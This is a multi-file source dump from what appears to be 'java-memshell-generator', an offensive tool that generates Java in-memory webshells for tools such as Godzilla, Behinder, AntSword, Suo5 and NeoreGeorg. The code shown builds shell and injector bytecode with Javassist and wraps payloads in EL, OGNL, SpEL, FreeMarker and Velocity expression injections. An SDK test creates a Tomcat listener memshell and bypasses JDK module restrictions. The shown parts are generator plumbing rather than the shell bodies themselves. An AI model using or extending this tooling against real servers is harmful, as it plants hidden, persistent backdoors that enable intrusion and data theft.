43 | godzillaMap.put(Constants.SHELL_WF_HANDLERMETHOD, GodzillaWebFluxHandlerMethod.class.getSimpleName());
44 | godzillaMap.put(Constants.SHELL_JAKARTA_FILTER, GodzillaJakartaFilter.class.getSimpleName());
45 | godzillaMap.put(Constants.SHELL_JAKARTA_LISTENER, GodzillaJakartaListener.class.getSimpleName());
46 | godzillaMap.put(Constants.SHELL_VALVE, GodzillaValve.class.getSimpleName());
47 |
48 | toolMap.put(Constants.TOOL_GODZILLA, godzillaMap);
49 | }
50 |
51 |
52 | }
53 |
--------------------------------------------------------------------------------
/jmg-gui/pom.xml:
--------------------------------------------------------------------------------
1 |
3 |
4 | java-memshell-generator
5 | jmg
6 | 1.0.9
7 |
8 | 4.0.0
9 | jmg-gui
10 |
11 |
12 | ${parent.groupId}
13 | jmg-core
14 | ${parent.version}
15 | compile
16 |
17 |
23 |
24 | me.gv7.woodpecker
25 | jexpr-encoder-utils
26 | 0.2.2
27 |
28 |
29 | com.intellij
30 | forms_rt
31 | 7.0.3
32 |
33 |
34 | com.formdev
35 | flatlaf
36 | 3.1
37 |
38 |
39 | ${parent.groupId}
40 | jmg-behinder
41 | ${parent.version}
42 | compile
43 |
44 |
45 | ${parent.groupId}
46 | jmg-antsword
47 | ${parent.version}
48 | compile
49 |
50 |
51 | ${parent.groupId}
52 | jmg-godzilla
53 | ${parent.version}
54 | compile
55 |
56 |
57 | ${parent.groupId}
58 | jmg-suo5
59 | ${parent.version}
60 | compile
61 |
62 |
63 | ${parent.groupId}
64 | jmg-neoregeorg
65 | ${parent.version}
66 | compile
67 |
68 |
69 | ${parent.groupId}
70 | jmg-custom
71 | ${parent.version}
72 | compile
73 |
74 |
75 |
76 |
77 |
78 |
79 | org.apache.maven.plugins
80 | maven-assembly-plugin
81 | 3.6.0
82 |
83 |
84 | jar-with-dependencies
85 |
86 |
87 |
88 | jmg.gui.GUIApp
89 |
90 |
91 | false
92 | ../releases
93 |
94 |
95 |
96 | make-assembly
97 | package
98 |
99 | single
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
--------------------------------------------------------------------------------
/jmg-gui/src/main/java/jmg/gui/GUIApp.java:
--------------------------------------------------------------------------------
1 | package jmg.gui;
2 |
3 | import com.formdev.flatlaf.FlatLightLaf;
4 | import jmg.gui.form.jMGForm;
5 |
6 | import javax.swing.*;
7 |
8 | public class GUIApp {
9 | public static void main(String[] args) {
10 | FlatLightLaf.setup();
11 | SwingUtilities.invokeLater(GUIApp::createAndShowGUI);
12 | }
13 |
14 | private static void createAndShowGUI() {
15 | jMGForm.start();
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/jmg-gui/src/main/java/jmg/gui/util/ComponentUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.gui.util;
2 |
3 | import javax.swing.*;
4 | import javax.swing.event.DocumentEvent;
5 | import javax.swing.event.DocumentListener;
6 | import javax.swing.text.JTextComponent;
7 | import javax.swing.text.SimpleAttributeSet;
8 | import javax.swing.text.StyleConstants;
9 | import java.awt.*;
10 | import java.awt.event.ItemEvent;
11 | import java.awt.event.ItemListener;
12 | import java.util.function.Consumer;
13 |
14 | public class ComponentUtil {
15 | public static DocumentListener createDocumentListener(JTextComponent textField, Consumer updateFunction) {
16 | return new DocumentListener() {
17 | @Override
18 | public void insertUpdate(DocumentEvent e) {
19 | updateText();
20 | }
21 |
22 | @Override
23 | public void removeUpdate(DocumentEvent e) {
24 | updateText();
25 | }
26 |
27 | @Override
28 | public void changedUpdate(DocumentEvent e) {
29 | // 文本改变时触发(对于普通文本字段可以忽略)
30 | }
31 |
32 | private void updateText() {
33 | String text = textField.getText();
34 | if (text.isEmpty()) {
35 | updateFunction.accept(null);
36 | } else {
37 | updateFunction.accept(text);
38 | }
39 | }
40 | };
41 | }
42 |
43 | /**
44 | * 恢复滚动条位置
45 | * @param scrollPane
46 | */
47 | public static void restoreScrollPosition(JScrollPane scrollPane) {
48 | try {
49 | // windows 下窗口闪动
50 | scrollPane.setDoubleBuffered(true);
51 | int scrollValue = scrollPane.getVerticalScrollBar().getValue();
52 | SwingUtilities.invokeLater(() -> {
53 | scrollPane.getVerticalScrollBar().setValue(scrollValue);
54 | });
55 | } catch (Exception ignored) {
56 | } catch (Throwable e) {
57 | throw new RuntimeException(e);
58 | }
59 | }
60 |
61 |
62 | public static void setTextIfNotEmpty(JTextComponent component, Consumer setter) {
63 | String text = component.getText().trim();
64 | if (!text.isEmpty()) {
65 | setter.accept(text);
66 | }
67 | }
68 |
69 | public static SimpleAttributeSet createSimpleAttributeSet(Color foregroundColor) {
70 | SimpleAttributeSet attributeSet = new SimpleAttributeSet();
71 | StyleConstants.setBold(attributeSet, true);
72 | StyleConstants.setItalic(attributeSet, false);
73 | StyleConstants.setForeground(attributeSet, foregroundColor);
74 | return attributeSet;
75 | }
76 |
77 |
78 | }
79 |
--------------------------------------------------------------------------------
/jmg-gui/src/main/java/jmg/gui/util/JExprUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.gui.util;
2 |
3 | import me.gv7.woodpecker.plugin.exprs.*;
4 | import jmg.core.config.AbstractConfig;
5 |
6 | public class JExprUtil {
7 | public static String[] genExprPayload(AbstractConfig config){
8 | byte[] bytes = config.getInjectorBytes();
9 | switch (config.getExprEncoder()){
10 | case "EL":
11 | return new ELExpr().genMemShell(bytes);
12 | case "FreeMarker":
13 | return new FreeMarkerExpr().genMemShell(bytes);
14 | case "OGNL":
15 | return new OGNLExpr().genMemShell(bytes);
16 | case "SpEL":
17 | return new SpELExpr().genMemShell(bytes);
18 | case "Velocity":
19 | return new VelocityExpr().genMemShell(bytes);
20 | case "ScriptEngineManager(JS)":
21 | return new ScriptEngineManagerExpr().genMemShell(bytes);
22 | }
23 | return null;
24 | }
25 |
26 | public static void printResult(String[] results) throws Exception {
27 | if (results != null && results.length > 0) {
28 | String[] var3 = results;
29 | int var4 = results.length;
30 |
31 | for(int var5 = 0; var5 < var4; ++var5) {
32 | String result = var3[var5];
33 | TextPaneUtil.successPrintln(result);
34 | }
35 | } else {
36 | TextPaneUtil.warningPrintln("暂不支持\n");
37 | }
38 |
39 | }
40 | }
--------------------------------------------------------------------------------
/jmg-gui/src/main/java/jmg/gui/util/ShellGeneratorUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.gui.util;
2 |
3 | import jmg.antsword.generator.AntSwordGenerator;
4 | import jmg.behinder.generator.BehinderGenerator;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.generator.IShellGenerator;
8 | import jmg.custom.generator.CustomGenerator;
9 | import jmg.godzilla.generator.GodzillaGenerator;
10 | import jmg.neoregeorg.generator.NeoreGeorgGenerator;
11 | import jmg.suo5.generator.Suo5Generator;
12 |
13 | public class ShellGeneratorUtil {
14 | IShellGenerator shellGenerator;
15 |
16 | public void makeShell(AbstractConfig config) throws Exception {
17 | switch (config.getToolType()) {
18 | case Constants.TOOL_ANTSWORD:
19 | shellGenerator = new AntSwordGenerator();
20 | break;
21 | case Constants.TOOL_BEHINDER:
22 | shellGenerator = new BehinderGenerator();
23 | break;
24 | case Constants.TOOL_GODZILLA:
25 | shellGenerator = new GodzillaGenerator();
26 | break;
27 | case Constants.TOOL_SUO5:
28 | shellGenerator = new Suo5Generator();
29 | break;
30 | case Constants.TOOL_NEOREGEORG:
31 | shellGenerator = new NeoreGeorgGenerator();
32 | break;
33 | case Constants.TOOL_CUSTOM:
34 | shellGenerator = new CustomGenerator();
35 | break;
36 | default:
37 | throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType());
38 | }
39 | shellGenerator.makeShell(config);
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/jmg-gui/src/main/resources/messages_en.properties:
--------------------------------------------------------------------------------
1 | format.text=Output Format
2 | generate.text=Generate
3 | headerName.text=Header Key
4 | headerValue.text=Header Value
5 | injectorClsName.text=Injector Class Name
6 | key.text=Key
7 | pass.text=Password
8 | server.text=Server Type
9 | shell.text=Shell Type
10 | shellClsName.text=Shell Class Name
11 | tool.text=Tool Type
12 | uri.text=Request URI
13 | gadget.text=Enable Gadget Wrapping
14 | expr.text=Enable Expr Wrapping
--------------------------------------------------------------------------------
/jmg-gui/src/main/resources/messages_en.properties.bak:
--------------------------------------------------------------------------------
1 | format.text=Output Format
2 | generate.text=Generate
3 | headerName.text=Request Header Key
4 | headerValue.text=Request Header Value
5 | injectorClsName.text=Injector Class Name
6 | key.text=Key
7 | pass.text=Password
8 | server.text=Server Type
9 | shell.text=Shell Type
10 | shellClsName.text=Shell Class Name
11 | tool.text=Tool Type
12 | uri.text=Request URI
13 | gadget.text=Enable Gadget Wrapping
14 | expr.text=Enable Expr Wrapping
--------------------------------------------------------------------------------
/jmg-gui/src/main/resources/messages_zh.properties:
--------------------------------------------------------------------------------
1 | format.text=\u8F93\u51FA\u683C\u5F0F
2 | generate.text=\u751F\u6210
3 | headerName.text=\u8BF7\u6C42\u5934\u952E
4 | headerValue.text=\u8BF7\u6C42\u5934\u503C
5 | injectorClsName.text=\u6CE8\u5165\u5668\u7C7B\u540D
6 | key.text=\u5BC6\u94A5
7 | pass.text=\u5BC6\u7801
8 | server.text=\u4E2D\u95F4\u4EF6/\u6846\u67B6
9 | shell.text=\u7EC4\u4EF6\u7C7B\u578B
10 | shellClsName.text=\u5185\u5B58\u9A6C\u7C7B\u540D
11 | tool.text=\u5DE5\u5177\u7C7B\u578B
12 | uri.text=\u8BF7\u6C42\u8DEF\u5F84
13 | gadget.text=\u4E13\u9879\u6F0F\u6D1E\u5C01\u88C5
14 | expr.text=\u8868\u8FBE\u5F0F\u8BED\u53E5\u5C01\u88C5
15 |
--------------------------------------------------------------------------------
/jmg-gui/src/main/resources/messages_zh.properties.bak:
--------------------------------------------------------------------------------
1 | format.text=输出格式
2 | generate.text=生成
3 | headerName.text=请求头键
4 | headerValue.text=请求头值
5 | injectorClsName.text=注入器类名
6 | key.text=密钥
7 | pass.text=密码
8 | server.text=中间件/框架
9 | shell.text=组件类型
10 | shellClsName.text=内存马类名
11 | tool.text=工具类型
12 | uri.text=请求路径
13 | gadget.text=专项漏洞封装
14 | expr.text=表达式语句封装
15 |
--------------------------------------------------------------------------------
/jmg-neoregeorg/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | 1.0.9
8 |
9 | jmg-neoregeorg
10 |
11 |
12 |
13 |
14 | ${parent.groupId}
15 | jmg-core
16 | ${parent.version}
17 | compile
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jmg-neoregeorg/src/main/java/jmg/neoregeorg/generator/NeoreGeorgGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.neoregeorg.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.CtClass;
5 |
6 | import jmg.core.config.AbstractConfig;
7 | import jmg.core.config.Constants;
8 | import jmg.core.generator.IShellGenerator;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 | import jmg.core.util.ResponseUtil;
12 | import jmg.neoregeorg.util.ShellUtil;
13 |
14 | public class NeoreGeorgGenerator implements IShellGenerator {
15 |
16 | @Override
17 | public void initShell(AbstractConfig config) {
18 | config.setKey("key");
19 | }
20 |
21 | @Override
22 | public byte[] makeShell(AbstractConfig config) throws Exception {
23 | initShell(config);
24 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
25 | String shellClassName = ShellUtil.getShellClassName(shellName);
26 | byte[] bytes = modifyShell(shellClassName, config);
27 | config.setShellBytes(bytes);
28 | config.setShellBytesLength(bytes.length);
29 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
30 | return bytes;
31 | }
32 |
33 | @Override
34 | public byte[] modifyShell(String className, AbstractConfig config) {
35 | byte[] bytes = new byte[0];
36 | try {
37 | pool.insertClassPath(new ClassClassPath(NeoreGeorgGenerator.class));
38 | CtClass ctClass = pool.getCtClass(className);
39 | ctClass.getClassFile().setVersionToJava5();
40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
42 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
46 | }
47 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
48 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
49 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
50 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
51 | }
52 | JavassistUtil.removeSourceFileAttribute(ctClass);
53 | bytes = ctClass.toBytecode();
54 | ctClass.detach();
55 | } catch (Exception e) {
56 | e.printStackTrace();
57 | throw new RuntimeException(e);
58 | }
59 | return bytes;
60 | }
61 |
62 | }
63 |
--------------------------------------------------------------------------------
/jmg-neoregeorg/src/main/java/jmg/neoregeorg/util/ShellUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.neoregeorg.util;
2 |
3 | import jmg.core.config.Constants;
4 | import jmg.neoregeorg.memshell.*;
5 |
6 | import java.util.HashMap;
7 | import java.util.Map;
8 |
9 | public class ShellUtil {
10 |
11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap();
12 | private static final Map> toolMap = new HashMap();
13 |
14 | public ShellUtil() {
15 | }
16 |
17 | public static String getShellName(String toolType, String shellType) {
18 | Map shellMap = toolMap.get(toolType);
19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
20 | }
21 |
22 | public static String getShellClassName(String shellName) throws Exception {
23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
24 | throw new Exception("Invalid shell type '" + shellName + "'");
25 | } else {
26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
27 | }
28 | }
29 |
30 | static {
31 | SHELL_CLASSNAME_MAP.put(NeoreGeorgListener.class.getSimpleName(), NeoreGeorgListener.class.getName());
32 | SHELL_CLASSNAME_MAP.put(NeoreGeorgFilter.class.getSimpleName(), NeoreGeorgFilter.class.getName());
33 | SHELL_CLASSNAME_MAP.put(NeoreGeorgInterceptor.class.getSimpleName(), NeoreGeorgInterceptor.class.getName());
34 | SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaListener.class.getSimpleName(), NeoreGeorgJakartaListener.class.getName());
35 | SHELL_CLASSNAME_MAP.put(NeoreGeorgJakartaFilter.class.getSimpleName(), NeoreGeorgJakartaFilter.class.getName());
36 |
37 | Map regeorgMap = new HashMap();
38 | regeorgMap.put(Constants.SHELL_FILTER, NeoreGeorgFilter.class.getSimpleName());
39 | regeorgMap.put(Constants.SHELL_LISTENER, NeoreGeorgListener.class.getSimpleName());
40 | regeorgMap.put(Constants.SHELL_INTERCEPTOR, NeoreGeorgInterceptor.class.getSimpleName());
41 | regeorgMap.put(Constants.SHELL_JAKARTA_FILTER, NeoreGeorgJakartaFilter.class.getSimpleName());
42 | regeorgMap.put(Constants.SHELL_JAKARTA_LISTENER, NeoreGeorgJakartaListener.class.getSimpleName());
43 | toolMap.put(Constants.TOOL_NEOREGEORG, regeorgMap);
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/jmg-sdk/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 |
8 | jmg
9 | java-memshell-generator
10 | 1.0.9
11 |
12 |
13 | jmg-sdk
14 |
15 |
16 | 8
17 | 8
18 | UTF-8
19 |
20 |
21 |
22 | ${parent.groupId}
23 | jmg-core
24 | ${parent.version}
25 | compile
26 |
27 |
28 | ${parent.groupId}
29 | jmg-antsword
30 | ${parent.version}
31 | compile
32 |
33 |
34 | ${parent.groupId}
35 | jmg-behinder
36 | ${parent.version}
37 | compile
38 |
39 |
40 | ${parent.groupId}
41 | jmg-custom
42 | ${parent.version}
43 | compile
44 |
45 |
46 | ${parent.groupId}
47 | jmg-godzilla
48 | ${parent.version}
49 | compile
50 |
51 |
52 | ${parent.groupId}
53 | jmg-extender
54 | ${parent.version}
55 | compile
56 |
57 |
58 | ${parent.groupId}
59 | jmg-neoregeorg
60 | ${parent.version}
61 | compile
62 |
63 |
64 | ${parent.groupId}
65 | jmg-suo5
66 | ${parent.version}
67 | compile
68 |
69 |
70 |
71 |
72 |
73 |
74 | org.apache.maven.plugins
75 | maven-assembly-plugin
76 | 3.6.0
77 |
78 | false
79 | ../releases
80 |
81 |
82 |
83 |
84 |
--------------------------------------------------------------------------------
/jmg-sdk/src/main/java/jmg/sdk/jMGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.sdk;
2 |
3 | import jmg.core.config.AbstractConfig;
4 | import jmg.core.config.Constants;
5 | import jmg.core.generator.InjectorGenerator;
6 | import jmg.core.util.CommonUtil;
7 | import jmg.sdk.util.ShellGenerator;
8 |
9 |
10 | public class jMGenerator {
11 |
12 | private AbstractConfig config;
13 |
14 | public jMGenerator(AbstractConfig config) {
15 | this.config = config;
16 |
17 | }
18 |
19 | /**
20 | * 生成内存马字节流、注入器字节流
21 | */
22 | public void genPayload() throws Exception {
23 | new ShellGenerator().makeShell(this.config);
24 | new InjectorGenerator().makeInjector(this.config);
25 | }
26 |
27 | /**
28 | * 内存马字节流
29 | */
30 | public byte[] getShellBytes() {
31 | return this.config.getShellBytes();
32 | }
33 |
34 | /**
35 | * 注入器字节流
36 | */
37 | public byte[] getInjectorBytes() {
38 | return this.config.getInjectorBytes();
39 | }
40 |
41 | public void printPayload() {
42 | System.out.println("配置信息:");
43 | System.out.println(this.config.getToolType() + " " + this.config.getServerType() + " " + this.config.getShellType() + " " + this.config.getOutputFormat() + "\n");
44 | System.out.println("结果输出:");
45 | System.out.println(this.formatPayload());
46 | System.out.println();
47 | }
48 |
49 | /**
50 | * 处理注入器字节流
51 | */
52 | public String formatPayload() {
53 | switch (config.getOutputFormat()) {
54 | case Constants.FORMAT_CLASS:
55 | case Constants.FORMAT_JSP:
56 | case Constants.FORMAT_JAR:
57 | case Constants.FORMAT_JAR_AGENT:
58 | try {
59 | CommonUtil.transformToFile(config);
60 | return config.getSavePath();
61 | } catch (Throwable e) {
62 | }
63 | break;
64 | case Constants.FORMAT_BCEL:
65 | case Constants.FORMAT_JS:
66 | case Constants.FORMAT_BASE64:
67 | case Constants.FORMAT_BIGINTEGER:
68 | try {
69 | return CommonUtil.transformTotext(config);
70 | } catch (Throwable e) {
71 | }
72 | break;
73 | }
74 | return "";
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/jmg-sdk/src/main/java/jmg/sdk/util/ShellGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.sdk.util;
2 |
3 | import jmg.antsword.generator.AntSwordGenerator;
4 | import jmg.behinder.generator.BehinderGenerator;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.generator.IShellGenerator;
8 | import jmg.custom.generator.CustomGenerator;
9 | import jmg.godzilla.generator.GodzillaGenerator;
10 | import jmg.neoregeorg.generator.NeoreGeorgGenerator;
11 | import jmg.suo5.generator.Suo5Generator;
12 |
13 | public class ShellGenerator {
14 | IShellGenerator shellGenerator;
15 |
16 | public void makeShell(AbstractConfig config) throws Exception {
17 | switch (config.getToolType()) {
18 | case Constants.TOOL_ANTSWORD:
19 | shellGenerator = new AntSwordGenerator();
20 | break;
21 | case Constants.TOOL_BEHINDER:
22 | shellGenerator = new BehinderGenerator();
23 | break;
24 | case Constants.TOOL_GODZILLA:
25 | shellGenerator = new GodzillaGenerator();
26 | break;
27 | case Constants.TOOL_SUO5:
28 | shellGenerator = new Suo5Generator();
29 | break;
30 | case Constants.TOOL_NEOREGEORG:
31 | shellGenerator = new NeoreGeorgGenerator();
32 | break;
33 | case Constants.TOOL_CUSTOM:
34 | shellGenerator = new CustomGenerator();
35 | break;
36 | default:
37 | throw new IllegalArgumentException("Unsupported tool type: " + config.getToolType());
38 | }
39 | shellGenerator.makeShell(config);
40 | }
41 | }
42 |
--------------------------------------------------------------------------------
/jmg-sdk/src/test/java/SDKTest.java:
--------------------------------------------------------------------------------
1 | import jmg.core.config.AbstractConfig;
2 | import jmg.core.config.Constants;
3 | import jmg.sdk.jMGenerator;
4 | import jmg.sdk.util.SDKResultUtil;
5 | import me.gv7.woodpecker.tools.common.FileUtil;
6 |
7 | /*
8 | 1、将 java-memshell-generator 和 jmg-sdk 安装到本地 maven 仓库
9 | 1) mvn install:install-file -Dfile=java-memshell-generator--jar-with-dependencies -DgroupId=jmg -DartifactId=java-memshell-generator -Dversion= -Dpackaging=jar
10 | 2) mvn install:install-file -Dfile=jmg-sdk--jar-with-dependencies.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion= -Dpackaging=jar
11 |
12 | 2、引入自己的框架/工具的依赖中
13 |
14 | jmg
15 | jmg-sdk
16 | 1.0.8
17 |
18 |
19 | */
20 | public class SDKTest {
21 | public static void main(String[] args) throws Throwable {
22 | // 必需的基础配置
23 | AbstractConfig config = new AbstractConfig() {{
24 | // 设置工具类型
25 | setToolType(Constants.TOOL_BEHINDER);
26 | // 设置中间件 or 框架
27 | setServerType(Constants.SERVER_TOMCAT);
28 | // 设置内存马类型
29 | setShellType(Constants.SHELL_JAKARTA_LISTENER);
30 | // 设置输出格式为 BASE64
31 | setOutputFormat(Constants.FORMAT_BASE64);
32 | // 设置漏洞利用封装,默认不启用
33 | setGadgetType(Constants.GADGET_NONE);
34 | // 初始化基础配置
35 | build();
36 | }};
37 |
38 | // 绕过 JDK Module 访问限制
39 | config.setEnableBypassJDKModule(true);
40 | jMGenerator generator = new jMGenerator(config);
41 | generator.genPayload();
42 |
43 | FileUtil.writeFile("shell.class",config.getShellBytes());
44 | FileUtil.writeFile("injector.class",config.getInjectorBytes());
45 | generator.printPayload();
46 |
47 |
48 | // 连接信息
49 | SDKResultUtil.printBasicInfo(config);
50 | SDKResultUtil.printDebugInfo(config);
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/jmg-suo5/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | 1.0.9
8 |
9 | jmg-suo5
10 |
11 |
12 |
13 |
14 | ${parent.groupId}
15 | jmg-core
16 | ${parent.version}
17 | compile
18 |
19 |
20 |
21 |
22 |
--------------------------------------------------------------------------------
/jmg-suo5/src/main/java/jmg/suo5/generator/Suo5Generator.java:
--------------------------------------------------------------------------------
1 | package jmg.suo5.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.CtClass;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.generator.IShellGenerator;
8 | import jmg.suo5.util.ShellUtil;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 | import jmg.core.util.ResponseUtil;
12 | import me.gv7.woodpecker.tools.common.FileUtil;
13 |
14 | public class Suo5Generator implements IShellGenerator {
15 |
16 |
17 | @Override
18 | public void initShell(AbstractConfig config) {
19 |
20 | }
21 |
22 | @Override
23 | public byte[] makeShell(AbstractConfig config) throws Exception {
24 | initShell(config);
25 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
26 | String shellClassName = ShellUtil.getShellClassName(shellName);
27 | byte[] bytes = modifyShell(shellClassName, config);
28 | config.setShellBytes(bytes);
29 | config.setShellBytesLength(bytes.length);
30 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
31 | return bytes;
32 | }
33 |
34 | @Override
35 | public byte[] modifyShell(String className, AbstractConfig config) {
36 | byte[] bytes = new byte[0];
37 | try {
38 | pool.insertClassPath(new ClassClassPath(Suo5Generator.class));
39 | CtClass ctClass = pool.getCtClass(className);
40 | ctClass.getClassFile().setVersionToJava5();
41 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
42 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
43 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
44 |
45 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
46 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
47 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
48 | }
49 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
50 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
51 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
52 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
53 | }
54 | JavassistUtil.removeSourceFileAttribute(ctClass);
55 | bytes = ctClass.toBytecode();
56 | ctClass.detach();
57 | } catch (Exception e) {
58 | e.printStackTrace();
59 | throw new RuntimeException(e);
60 | }
61 | return bytes;
62 | }
63 |
64 | }
65 |
--------------------------------------------------------------------------------
/jmg-suo5/src/main/java/jmg/suo5/util/ShellUtil.java:
--------------------------------------------------------------------------------
1 | package jmg.suo5.util;
2 |
3 | import jmg.core.config.Constants;
4 | import jmg.suo5.memshell.*;
5 |
6 | import java.util.HashMap;
7 | import java.util.Map;
8 |
9 | public class ShellUtil {
10 |
11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap();
12 | private static final Map> toolMap = new HashMap();
13 |
14 | public ShellUtil() {
15 | }
16 |
17 | public static String getShellName(String toolType, String shellType) {
18 | Map shellMap = toolMap.get(toolType);
19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, "");
20 | }
21 |
22 | public static String getShellClassName(String shellName) throws Exception {
23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) {
24 | throw new Exception("Invalid shell type '" + shellName + "'");
25 | } else {
26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, "");
27 | }
28 | }
29 |
30 | static {
31 | SHELL_CLASSNAME_MAP.put(Suo5Listener.class.getSimpleName(), Suo5Listener.class.getName());
32 | SHELL_CLASSNAME_MAP.put(Suo5Filter.class.getSimpleName(), Suo5Filter.class.getName());
33 | SHELL_CLASSNAME_MAP.put(Suo5Interceptor.class.getSimpleName(), Suo5Interceptor.class.getName());
34 | SHELL_CLASSNAME_MAP.put(Suo5JakartaListener.class.getSimpleName(), Suo5JakartaListener.class.getName());
35 | SHELL_CLASSNAME_MAP.put(Suo5JakartaFilter.class.getSimpleName(), Suo5JakartaFilter.class.getName());
36 |
37 | Map suo5Map = new HashMap();
38 | suo5Map.put(Constants.SHELL_FILTER, Suo5Filter.class.getSimpleName());
39 | suo5Map.put(Constants.SHELL_LISTENER, Suo5Listener.class.getSimpleName());
40 | suo5Map.put(Constants.SHELL_INTERCEPTOR, Suo5Interceptor.class.getSimpleName());
41 | suo5Map.put(Constants.SHELL_JAKARTA_FILTER, Suo5JakartaFilter.class.getSimpleName());
42 | suo5Map.put(Constants.SHELL_JAKARTA_LISTENER, Suo5JakartaListener.class.getSimpleName());
43 | toolMap.put(Constants.TOOL_SUO5, suo5Map);
44 | }
45 |
46 |
47 | }
48 |
--------------------------------------------------------------------------------
/jmg-woodpecker/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | jmg
8 | java-memshell-generator
9 | 1.0.9
10 |
11 |
12 | jmg-woodpecker
13 |
14 |
15 | UTF-8
16 |
17 |
18 |
19 |
20 | ${parent.groupId}
21 | jmg-core
22 | ${parent.version}
23 | compile
24 |
25 |
26 | ${parent.groupId}
27 | jmg-antsword
28 | ${parent.version}
29 | compile
30 |
31 |
32 | ${parent.groupId}
33 | jmg-behinder
34 | ${parent.version}
35 | compile
36 |
37 |
38 | ${parent.groupId}
39 | jmg-custom
40 | ${parent.version}
41 | compile
42 |
43 |
44 | ${parent.groupId}
45 | jmg-godzilla
46 | ${parent.version}
47 | compile
48 |
49 |
50 | ${parent.groupId}
51 | jmg-extender
52 | ${parent.version}
53 | compile
54 |
55 |
56 | ${parent.groupId}
57 | jmg-neoregeorg
58 | ${parent.version}
59 | compile
60 |
61 |
62 | ${parent.groupId}
63 | jmg-suo5
64 | ${parent.version}
65 | compile
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 | org.apache.maven.plugins
74 | maven-assembly-plugin
75 | 3.6.0
76 |
77 | false
78 | ../releases
79 |
80 |
81 |
82 |
83 |
--------------------------------------------------------------------------------
/jmg-woodpecker/src/main/java/me/gv7/woodpecker/helper/AntSwordHelper.java:
--------------------------------------------------------------------------------
1 | package me.gv7.woodpecker.helper;
2 |
3 |
4 | import jmg.antsword.generator.AntSwordGenerator;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.generator.InjectorGenerator;
8 | import me.gv7.woodpecker.plugin.IResultOutput;
9 | import me.gv7.woodpecker.plugin.ShellHelperPlugin;
10 | import me.gv7.woodpecker.util.WoodpeckerResultUtil;
11 |
12 | import java.util.Map;
13 |
14 | public class AntSwordHelper extends ShellHelper {
15 |
16 | @Override
17 | public String getHelperTabCaption() {
18 | return Constants.TOOL_ANTSWORD;
19 | }
20 |
21 | @Override
22 | public void doHelp(Map customArgs, IResultOutput resultOutput) {
23 | try {
24 | AbstractConfig config = initConfig(customArgs);
25 | new AntSwordGenerator().makeShell(config);
26 | new InjectorGenerator().makeInjector(config);
27 | WoodpeckerResultUtil.printAntSwordBasicInfo(resultOutput, config);
28 | WoodpeckerResultUtil.printResult(resultOutput, config);
29 | WoodpeckerResultUtil.printDebugInfo(resultOutput, config);
30 | } catch (Exception e) {
